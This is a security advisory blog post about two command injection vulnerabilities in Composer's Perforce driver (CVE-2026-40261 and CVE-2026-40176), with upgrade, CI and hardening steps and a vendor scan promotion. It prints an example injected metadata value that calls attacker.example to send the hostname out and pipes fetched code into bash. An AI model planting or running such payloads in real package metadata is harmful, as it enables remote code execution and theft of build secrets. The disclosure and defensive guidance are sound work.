Composer's Hidden Attack Surface: How Two Command Injection Flaws Put Every PHP Project at Risk
Two command injection vulnerabilities in Composer's Perforce driver (CVE-2026-40261 and CVE-2026-40176) can be exploited even if Perforce is not installed on your system. Malicious package metadata from any Composer repository can trigger arbitrary shell command execution. Update to Composer 2.9.6 immediately.
Here is the part that catches most developers off guard: you do not need Perforce installed anywhere on your system to be vulnerable to these two Composer vulnerabilities. If you are running Composer older than 2.9.6 (or 2.2.27 on the LTS branch), your build pipeline could be exposed to remote command injection simply by resolving a malicious package from an untrusted repository. That is the uncomfortable reality of CVE-2026-40261 and CVE-2026-40176, disclosed on April 14, 2026.
Both vulnerabilities live inside Composer's Perforce VCS driver, a component that most PHP developers have never thought about.
What Are These Vulnerabilities?
Two related but distinct command injection flaws were disclosed together, both rooted in the way Composer's Perforce driver constructs shell commands.
CVE-2026-40261 (CVSS 8.8)
This vulnerability lives in the syncCodeBase() method of Composer's Perforce VCS driver. When Composer tries to sync a Perforce-sourced codebase, it assembles a shell command using values that originate from package metadata. The method does not adequately sanitise those values before passing them to the shell, meaning an attacker-controlled string can break out of the intended command and inject arbitrary shell instructions.
CVE-2026-40176
The second vulnerability targets generateP4Command(), the method responsible for constructing the p4 CLI commands that the Perforce driver uses throughout its lifecycle. Again, metadata values flow into shell command construction without proper escaping.
The two functions work together in Composer's Perforce integration: generateP4Command() builds the base commands and syncCodeBase() calls out to synchronise files. Vulnerabilities in both creates multiple injection points across the same code path.
Why You Are Affected Even Without Perforce
You might be thinking: "I use Git. I have never touched Perforce in my life. Why would the Perforce driver run on my machine?"
The answer lies in how Composer processes package metadata. When Composer resolves a package, it reads the source field from the package's metadata before it evaluates whether that source type is actually available. A malicious Composer repository can publish a package with a Perforce source declaration:
{
"source": {
"type": "perforce",
"url": "perforce.example.com:1666",
"reference": "//depot/mypackage/..."
}
}
When Composer pulls that package's metadata and begins its installation process, the Perforce driver initialises and starts building shell commands from those poisoned values. It does not matter that p4 (the Perforce CLI) is not installed. The command construction and the vulnerable string interpolation happen before Composer discovers that it cannot actually invoke p4.
How the Attack Works
Shell metacharacters are characters that have special meaning to a Unix shell: backticks, semicolons, pipes, $() subshells.
A malicious package's metadata might set the Perforce reference field to something like:
//depot/pkg/...; curl https://attacker.example/exfil?h=$(hostname) | bash
When generateP4Command() interpolates this value into a shell command string without escaping it, the resulting command becomes:
p4 sync //depot/pkg/...; curl https://attacker.example/exfil?h=$(hostname) | bash
The shell sees a valid compound command. It tries to run p4 sync (which may fail), then unconditionally executes the second part. The attacker receives the hostname and can exfiltrate environment variables including COMPOSER_AUTH tokens, cloud provider credentials, and anything else present in the environment.
How to Check Your Composer Version
composer --version
You need:
Composer version 2.9.6or higher on the current branchComposer version 2.2.27or higher on the LTS branch
Upgrading Composer
composer self-update
To target the LTS channel specifically:
composer self-update --2.2
Updating in Docker and CI
If your pipelines pin a specific Composer version in a Dockerfile, update the version:
COPY --from=composer:2.9.6 /usr/bin/composer /usr/bin/composer
Check your CI configuration files too. GitHub Actions workflows that reference shivammathur/setup-php or similar actions often let you pin a Composer version.
Additional Hardening
Use --prefer-dist for package installation
composer install --prefer-dist
The --prefer-dist flag tells Composer to prefer downloading packaged zip archives over cloning from source. When a package is installed from a dist archive, the VCS driver (including the Perforce driver) is not invoked.
Lock down your repository configuration
Audit your repositories:
composer config --list --global | grep repositories
Remove any repositories you did not explicitly add. Restrict to https endpoints only.
Audit composer.lock for suspicious source entries
grep -A3 '"type": "perforce"' composer.lock
If you see Perforce source entries in a project that has no reason to use Perforce, that is worth investigating.
What Packagist Did
Packagist.org moved quickly in response to these disclosures. As a precautionary measure, Packagist disabled the publication of Perforce source metadata across its platform.
This significantly limits the blast radius for the majority of PHP developers who rely only on Packagist. However, it does not protect you if you use private mirrors, self-hosted Satis instances, or any third-party Composer repository. The upstream fix in Composer itself is the only complete resolution.
Protect Your Laravel Application
Vulnerabilities like these highlight a broader pattern: supply chain risks in your build tooling are just as real as vulnerabilities in your application dependencies. A compromised composer install during your CI build can exfiltrate secrets, backdoor deployed code, or pivot deeper into your infrastructure.
Run a free StackShield scan on your application to check for exposed configuration, misconfigured headers, and the kinds of issues that slip through when teams are focused on shipping.
Is your Laravel app exposed right now?
34% of Laravel apps we scan have at least one critical issue. Most teams don't find out until something breaks. Our free scan checks your live application in under 60 seconds.
Frequently Asked Questions
Do I need Perforce installed to be vulnerable?
No. That is the critical detail. The command injection happens when Composer processes package metadata that declares Perforce as a source type. The vulnerable string interpolation occurs before Composer discovers that the Perforce CLI is not installed. Any project resolving packages from an untrusted repository is potentially affected.
How do I check my Composer version?
Run "composer --version" in your terminal. You need Composer 2.9.6 or higher on the current branch, or 2.2.27 or higher on the LTS branch. Update with "composer self-update".
What did Packagist do about this?
Packagist.org disabled the publication of Perforce source metadata across its platform as a precautionary measure. However, this only protects users of Packagist. Private mirrors, self-hosted Satis instances, and third-party repositories are not covered by this change.
Related Security Terms
Related Articles
Laravel Session Security: Cookies, Hijacking & config/session.php
A deep dive into Laravel session security. Learn how cookie flags, session drivers, and config/session.php settings protect against hijacking, fixation, and sidejacking attacks.
SecurityAutomated Security Testing in Laravel CI/CD Pipelines
How to add security gates to your Laravel CI/CD pipeline with GitHub Actions. Covers dependency scanning, static analysis, secret detection, and automated security monitoring.
SecurityLaravel Content Security Policy: Configure CSP Without Breaking Your App
Only 22% of Laravel apps have a Content Security Policy. Learn how to implement CSP with spatie/laravel-csp, handle Livewire and Vite nonces, and avoid the mistakes that break production.
Compare StackShield
Security Checklists
Laravel Production Deployment Security Checklist
A comprehensive security checklist for deploying Laravel applications to production. Covers environment config, server hardening, access control, and monitoring.
20 itemsLaravel API Security Checklist
Secure your Laravel API endpoints against common vulnerabilities. Covers authentication, input validation, rate limiting, and response security.
Stay Updated on Laravel Security
Get actionable security tips, vulnerability alerts, and best practices for Laravel apps.